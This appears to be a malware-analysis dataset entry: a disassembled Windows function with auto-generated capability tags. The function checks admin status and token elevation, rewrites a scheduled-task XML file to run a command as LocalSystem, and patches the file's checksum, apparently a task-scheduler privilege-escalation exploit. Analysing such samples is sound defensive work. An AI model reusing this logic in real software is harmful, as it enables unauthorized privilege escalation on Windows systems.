Function at 0x10002ce6
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc84
push ebx
push esi
push edi
mov ecx, 0x8f
mov esi, str.___Principals__r_n_____Principal_id_LocalSystem___r_n_______UserId_S_1_5_18__UserId__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Actions_Context_LocalSystem___r_n_____Exec__r_n_______Command__s__Command__r_n______Exec__r_n____Actions__r_n__Task__r_n____00____r_n
lea edi, [esp + 0xa50]
rep movsd dword es:[edi], dword [esi]
push 0x15
pop ecx
xor ebx, ebx
push 0x1b4
movsw word es:[edi], word [esi]
lea eax, [esp + 0x8a0]
push ebx
mov esi, str._globalroot_systemroot_system32_tasks_
lea edi, [esp + 0x850]
push eax
mov dword [esp + 0x28], ebx
rep movsd dword es:[edi], dword [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
mov esi, 0x206
push esi
mov word [esp + 0x644], ax
lea eax, [esp + 0x646]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push esi
mov word [esp + 0x43c], ax
lea eax, [esp + 0x43e]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 0xdb710641
mov dword [esp + 0x30], 0x6d930ac3
mov dword [esp + 0x34], 0xb6e20c82
mov dword [esp + 0x38], 0xdb261586
mov dword [esp + 0x3c], 0x5713c7
mov dword [esp + 0x40], 0xb6b51f45
mov dword [esp + 0x44], 0x6dc41904
mov dword [esp + 0x48], 0x6d3d2d4d
mov dword [esp + 0x4c], 0xb64c2b0c
mov dword [esp + 0x50], 0xae278e
mov dword [esp + 0x54], 0xdbdf21cf
mov dword [esp + 0x58], 0xb61b38cb
mov dword [esp + 0x5c], 0x6d6a3e8a
mov dword [esp + 0x60], 0xdb883208
mov dword [esp + 0x64], 0xf93449
mov dword [esp + 0x68], 0xda7a5a9a
mov dword [esp + 0x6c], 0x10b5cdb
mov dword [esp + 0x70], 0xb7e95059
mov dword [esp + 0x74], 0x6c985618
mov dword [esp + 0x78], 0x15c4f1c
mov dword [esp + 0x7c], 0xda2d495d
mov dword [esp + 0x80], 0x6ccf45df
mov dword [esp + 0x84], 0xb7be439e
mov dword [esp + 0x88], 0xb74777d7
mov dword [esp + 0x8c], 0x6c367196
mov dword [esp + 0x90], 0xdad47d14
mov dword [esp + 0x94], 0x1a57b55
mov dword [esp + 0x98], 0x6c616251
mov dword [esp + 0x9c], 0xb7106410
mov dword [esp + 0xa0], 0x1f26892
mov dword [esp + 0xa4], 0xda836ed3
mov dword [esp + 0xa8], 0x6f85b375
mov dword [esp + 0xac], 0xb4f4b534
mov dword [esp + 0xb0], 0x216b9b6
mov dword [esp + 0xb4], 0xd967bff7
mov dword [esp + 0xb8], 0xb4a3a6f3
mov dword [esp + 0xbc], 0x6fd2a0b2
mov dword [esp + 0xc0], 0xd930ac30
mov dword [esp + 0xc4], 0x241aa71
mov dword [esp + 0xc8], 0x2b89e38
mov dword [esp + 0xcc], 0xd9c99879
mov dword [esp + 0xd0], 0x6f2b94fb
mov dword [esp + 0xd4], 0xb45a92ba
mov dword [esp + 0xd8], 0xd99e8bbe
mov dword [esp + 0xdc], 0x2ef8dff
mov dword [esp + 0xe0], 0xb40d817d
mov dword [esp + 0xe4], 0x6f7c873c
mov dword [esp + 0xe8], 0xb5ffe9ef
mov dword [esp + 0xec], 0x6e8eefae
mov dword [esp + 0xf0], 0xd86ce32c
mov dword [esp + 0xf4], 0x31de56d
mov dword [esp + 0xf8], 0x6ed9fc69
mov dword [esp + 0xfc], 0xb5a8fa28
mov dword [esp + 0x100], 0x34af6aa
mov dword [esp + 0x104], 0xd83bf0eb
mov dword [esp + 0x108], 0xd8c2c4a2
mov dword [esp + 0x10c], 0x3b3c2e3
mov dword [esp + 0x110], 0xb551ce61
mov dword [esp + 0x114], 0x6e20c820
mov dword [esp + 0x118], 0x3e4d124
mov dword [esp + 0x11c], 0xd895d765
mov dword [esp + 0x120], 0x6e77dbe7
mov dword [esp + 0x124], 0xb506dda6
mov dword [esp + 0x128], 0xdf0b66ea
mov dword [esp + 0x12c], 0x47a60ab
mov dword [esp + 0x130], 0xb2986c29
mov dword [esp + 0x134], 0x69e96a68
mov dword [esp + 0x138], 0x42d736c
mov dword [esp + 0x13c], 0xdf5c752d
mov dword [esp + 0x140], 0x69be79af
mov dword [esp + 0x144], 0xb2cf7fee
mov dword [esp + 0x148], 0xb2364ba7
mov dword [esp + 0x14c], 0x69474de6
mov dword [esp + 0x150], 0xdfa54164
mov dword [esp + 0x154], 0x4d44725
mov dword [esp + 0x158], 0x69105e21
mov dword [esp + 0x15c], 0xb2615860
mov dword [esp + 0x160], 0x48354e2
mov dword [esp + 0x164], 0xdff252a3
mov dword [esp + 0x168], 0x5713c70
mov dword [esp + 0x16c], 0xde003a31
mov dword [esp + 0x170], 0x68e236b3
mov dword [esp + 0x174], 0xb39330f2
mov dword [esp + 0x178], 0xde5729f6
mov dword [esp + 0x17c], 0x5262fb7
mov dword [esp + 0x180], 0xb3c42335
mov dword [esp + 0x184], 0x68b52574
mov dword [esp + 0x188], 0x684c113d
mov dword [esp + 0x18c], 0xb33d177c
mov dword [esp + 0x190], 0x5df1bfe
mov dword [esp + 0x194], 0xdeae1dbf
mov dword [esp + 0x198], 0xb36a04bb
mov dword [esp + 0x19c], 0x681b02fa
mov dword [esp + 0x1a0], 0xdef90e78
mov dword [esp + 0x1a4], 0x5880839
mov dword [esp + 0x1a8], 0xb08ed59f
mov dword [esp + 0x1ac], 0x6bffd3de
mov dword [esp + 0x1b0], 0xdd1ddf5c
mov dword [esp + 0x1b4], 0x66cd91d
mov dword [esp + 0x1b8], 0x6ba8c019
mov dword [esp + 0x1bc], 0xb0d9c658
mov dword [esp + 0x1c0], 0x63bcada
mov dword [esp + 0x1c4], 0xdd4acc9b
mov dword [esp + 0x1c8], 0xddb3f8d2
mov dword [esp + 0x1cc], 0x6c2fe93
mov dword [esp + 0x1d0], 0xb020f211
mov dword [esp + 0x1d4], 0x6b51f450
mov dword [esp + 0x1d8], 0x695ed54
mov dword [esp + 0x1dc], 0xdde4eb15
mov dword [esp + 0x1e0], 0x6b06e797
mov dword [esp + 0x1e4], 0xb077e1d6
mov dword [esp + 0x1e8], 0x6af48f05
mov dword [esp + 0x1ec], 0xb1858944
mov dword [esp + 0x1f0], 0x76785c6
mov dword [esp + 0x1f4], 0xdc168387
mov dword [esp + 0x1f8], 0xb1d29a83
mov dword [esp + 0x1fc], 0x6aa39cc2
mov dword [esp + 0x200], 0xdc419040
mov dword [esp + 0x204], 0x7309601
mov dword [esp + 0x208], 0x7c9a248
mov dword [esp + 0x20c], 0xdcb8a409
mov dword [esp + 0x210], 0x6a5aa88b
mov dword [esp + 0x214], 0xb12baeca
mov dword [esp + 0x218], 0xdcefb7ce
mov dword [esp + 0x21c], 0x79eb18f
mov dword [esp + 0x220], 0xb17cbd0d
mov dword [esp + 0x224], 0x6a0dbb4c
mov dword [esp + 0x228], 0x6567cb95
mov dword [esp + 0x22c], 0xbe16cdd4
mov dword [esp + 0x230], 0x8f4c156
mov dword [esp + 0x234], 0xd385c717
mov dword [esp + 0x238], 0xbe41de13
mov dword [esp + 0x23c], 0x6530d852
mov dword [esp + 0x240], 0xd3d2d4d0
mov dword [esp + 0x244], 0x8a3d291
mov dword [esp + 0x248], 0x85ae6d8
mov dword [esp + 0x24c], 0xd32be099
mov dword [esp + 0x250], 0x65c9ec1b
mov dword [esp + 0x254], 0xbeb8ea5a
mov dword [esp + 0x258], 0xd37cf35e
mov dword [esp + 0x25c], 0x80df51f
mov dword [esp + 0x260], 0xbeeff99d
mov dword [esp + 0x264], 0x659effdc
mov dword [esp + 0x268], 0xbf1d910f
mov dword [esp + 0x26c], 0x646c974e
mov dword [esp + 0x270], 0xd28e9bcc
mov dword [esp + 0x274], 0x9ff9d8d
mov dword [esp + 0x278], 0x643b8489
mov dword [esp + 0x27c], 0xbf4a82c8
mov dword [esp + 0x280], 0x9a88e4a
mov dword [esp + 0x284], 0xd2d9880b
mov dword [esp + 0x288], 0xd220bc42
mov dword [esp + 0x28c], 0x951ba03
mov dword [esp + 0x290], 0xbfb3b681
mov dword [esp + 0x294], 0x64c2b0c0
mov dword [esp + 0x298], 0x906a9c4
mov dword [esp + 0x29c], 0xd277af85
mov dword [esp + 0x2a0], 0x6495a307
mov dword [esp + 0x2a4], 0xbfe4a546
mov dword [esp + 0x2a8], 0xae278e0
mov dword [esp + 0x2ac], 0xd1937ea1
mov dword [esp + 0x2b0], 0x67717223
mov dword [esp + 0x2b4], 0xbc007462
mov dword [esp + 0x2b8], 0xd1c46d66
mov dword [esp + 0x2bc], 0xab56b27
mov dword [esp + 0x2c0], 0xbc5767a5
mov dword [esp + 0x2c4], 0x672661e4
mov dword [esp + 0x2c8], 0x67df55ad
mov dword [esp + 0x2cc], 0xbcae53ec
mov dword [esp + 0x2d0], 0xa4c5f6e
mov dword [esp + 0x2d4], 0xd13d592f
mov dword [esp + 0x2d8], 0xbcf9402b
mov dword [esp + 0x2dc], 0x6788466a
mov dword [esp + 0x2e0], 0xd16a4ae8
mov dword [esp + 0x2e4], 0xa1b4ca9
mov dword [esp + 0x2e8], 0xd098227a
mov dword [esp + 0x2ec], 0xbe9243b
mov dword [esp + 0x2f0], 0xbd0b28b9
mov dword [esp + 0x2f4], 0x667a2ef8
mov dword [esp + 0x2f8], 0xbbe37fc
mov dword [esp + 0x2fc], 0xd0cf31bd
mov dword [esp + 0x300], 0x662d3d3f
mov dword [esp + 0x304], 0xbd5c3b7e
mov dword [esp + 0x308], 0xbda50f37
mov dword [esp + 0x30c], 0x66d40976
mov dword [esp + 0x310], 0xd03605f4
mov dword [esp + 0x314], 0xb4703b5
mov dword [esp + 0x318], 0x66831ab1
mov dword [esp + 0x31c], 0xbdf21cf0
mov dword [esp + 0x320], 0xb101072
mov dword [esp + 0x324], 0xd0611633
mov dword [esp + 0x328], 0xba6cad7f
mov dword [esp + 0x32c], 0x611dab3e
mov dword [esp + 0x330], 0xd7ffa7bc
mov dword [esp + 0x334], 0xc8ea1fd
mov dword [esp + 0x338], 0x614ab8f9
mov dword [esp + 0x33c], 0xba3bbeb8
mov dword [esp + 0x340], 0xcd9b23a
mov dword [esp + 0x344], 0xd7a8b47b
mov dword [esp + 0x348], 0xd7518032
mov dword [esp + 0x34c], 0xc208673
mov dword [esp + 0x350], 0xbac28af1
mov dword [esp + 0x354], 0x61b38cb0
mov dword [esp + 0x358], 0xc7795b4
mov dword [esp + 0x35c], 0xd70693f5
mov dword [esp + 0x360], 0x61e49f77
mov dword [esp + 0x364], 0xba959936
mov dword [esp + 0x368], 0x6016f7e5
mov dword [esp + 0x36c], 0xbb67f1a4
mov dword [esp + 0x370], 0xd85fd26
mov dword [esp + 0x374], 0xd6f4fb67
mov dword [esp + 0x378], 0xbb30e263
mov dword [esp + 0x37c], 0x6041e422
mov dword [esp + 0x380], 0xd6a3e8a0
mov dword [esp + 0x384], 0xdd2eee1
mov dword [esp + 0x388], 0xd2bdaa8
mov dword [esp + 0x38c], 0xd65adce9
mov dword [esp + 0x390], 0x60b8d06b
mov dword [esp + 0x394], 0xbbc9d62a
mov dword [esp + 0x398], 0xd60dcf2e
mov dword [esp + 0x39c], 0xd7cc96f
mov dword [esp + 0x3a0], 0xbb9ec5ed
mov dword [esp + 0x3a4], 0x60efc3ac
mov dword [esp + 0x3a8], 0xd5e91e0a
mov dword [esp + 0x3ac], 0xe98184b
mov dword [esp + 0x3b0], 0xb87a14c9
mov dword [esp + 0x3b4], 0x630b1288
mov dword [esp + 0x3b8], 0xecf0b8c
mov dword [esp + 0x3bc], 0xd5be0dcd
mov dword [esp + 0x3c0], 0x635c014f
mov dword [esp + 0x3c4], 0xb82d070e
mov dword [esp + 0x3c8], 0xb8d43347
mov dword [esp + 0x3cc], 0x63a53506
mov dword [esp + 0x3d0], 0xd5473984
mov dword [esp + 0x3d4], 0xe363fc5
mov dword [esp + 0x3d8], 0x63f226c1
mov dword [esp + 0x3dc], 0xb8832080
mov dword [esp + 0x3e0], 0xe612c02
mov dword [esp + 0x3e4], 0xd5102a43
mov dword [esp + 0x3e8], 0xf934490
mov dword [esp + 0x3ec], 0xd4e242d1
mov dword [esp + 0x3f0], 0x62004e53
mov dword [esp + 0x3f4], 0xb9714812
mov dword [esp + 0x3f8], 0xd4b55116
mov dword [esp + 0x3fc], 0xfc45757
mov dword [esp + 0x400], 0xb9265bd5
mov dword [esp + 0x404], 0x62575d94
mov dword [esp + 0x408], 0x62ae69dd
mov dword [esp + 0x40c], 0xb9df6f9c
mov dword [esp + 0x410], 0xf3d631e
mov dword [esp + 0x414], 0xd44c655f
mov dword [esp + 0x418], 0xb9887c5b
mov dword [esp + 0x41c], 0x62f97a1a
mov dword [esp + 0x420], 0xd41b7698
mov dword [esp + 0x424], 0xf6a70d9
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10003b8d
call fcn.10002ca7
test eax, eax
je 0x10003b8d
mov esi, 0x80004005
mov edi, esi
mov dword [esp + 0xc], ebx
call fcn.10002ca7
test eax, eax
je 0x100038b0
lea eax, [esp + 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100038b0
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push 0x12
push dword [esp + 0x1c]
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1000389e
cmp dword [esp + 0x10], 4
jne 0x1000389e
xor edi, edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, esi
jne 0x10003b8d
cmp dword [esp + 0x24], 3
jne 0x10003b8d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.task_d
lea eax, [esp + 0x440]
push 0x208
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea eax, [esp + 0x448]
add esp, 0x10
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x100038e6
lea edi, [esp + 0x848]
sub eax, edx
sub edi, 2
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x100038fd
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x208
lea eax, [esp + 0x644]
push eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x438]
push eax
call fcn.10002961
test eax, eax
jne 0x10003b8d
lea eax, [esp + 0xa50]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1000394c
sub eax, edx
sar eax, 1
lea esi, [eax + eax + 0x208]
mov eax, esi
call fcn.1000175f
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x10003b8d
lea ecx, [esp + 0x640]
push ecx
lea ecx, [esp + 0xa54]
push ecx
push esi
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 3
push 0xc0000000
lea eax, [esp + 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
je 0x10003b83
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call fcn.100014e9
mov esi, eax
cmp esi, ebx
je 0x10003b83
lea eax, [esp + 0xa50]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x100039e1
sub eax, edx
sar eax, 1
lea eax, [esi + eax*2 + 0x410]
call fcn.1000175f
mov edi, eax
mov dword [esp + 0xc], edi
cmp edi, ebx
je 0x10003b83
push ebx
lea eax, [esp + 0x1c]
push eax
push esi
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
add esi, 0xfffffffe
push esi
add edi, 2
push edi
call fcn.10004000
mov esi, dword [sym.imp.MSVCRT.dll_wcsstr]
push str._Actions
push dword [esp + 0x10]
mov edi, eax
not edi
call esi
mov edx, eax
pop ecx
pop ecx
mov dword [esp + 0x20], edx
cmp edx, ebx
je 0x10003b79
mov ecx, dword [esp + 0x10]
sub edx, ecx
movzx eax, word [ecx]
mov word [ecx + edx], ax
add ecx, 2
cmp ax, bx
jne 0x10003a55
push str.00___
push dword [esp + 0x24]
call esi
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x10003b79
mov eax, dword [esp + 0xc]
add eax, 2
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10003a85
sub eax, edx
sar eax, 1
lea eax, [eax + eax - 0xe]
push ebx
push eax
mov eax, dword [esp + 0x14]
add eax, 2
push eax
call fcn.10004000
not eax
mov dword [esi], eax
push 0xe
mov dword [esp + 0x1c], esi
pop eax
movzx edx, byte [eax + esi - 1]
mov ecx, edi
shr ecx, 0x18
xor edx, dword [esp + ecx*4 + 0x28]
shl edi, 8
xor edi, edx
dec eax
cmp eax, ebx
jg 0x10003ab2
push ebx
push ebx
mov dword [esi], edi
mov esi, dword [esp + 0x1c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0xc]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x10003ae1
sub eax, ecx
push ebx
sar eax, 1
lea ecx, [esp + 0x1c]
push ecx
add eax, eax
push eax
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10033bc4]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x2c]
test eax, eax
js 0x10003b79
mov eax, dword [0x10033bc4]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0x2c]
test eax, eax
js 0x10003b79
lea eax, [esp + 0x428]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [0x10033bc4]
mov ecx, dword [eax]
push ebx
sub esp, 0x10
mov edi, esp
lea esi, [esp + 0x43c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x30]
mov esi, eax
lea eax, [esp + 0x428]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
cmp esi, ebx
jl 0x10003b79
mov dword [esp + 0x1c], 1
push dword [esp + 0xc]
call fcn.10001793
pop ecx
push dword [esp + 0x10]
call fcn.10001793
pop ecx
mov eax, dword [0x10037674]
cmp eax, ebx
je 0x10003b9c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [0x10033bc4]
cmp eax, ebx
je 0x10003bab
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret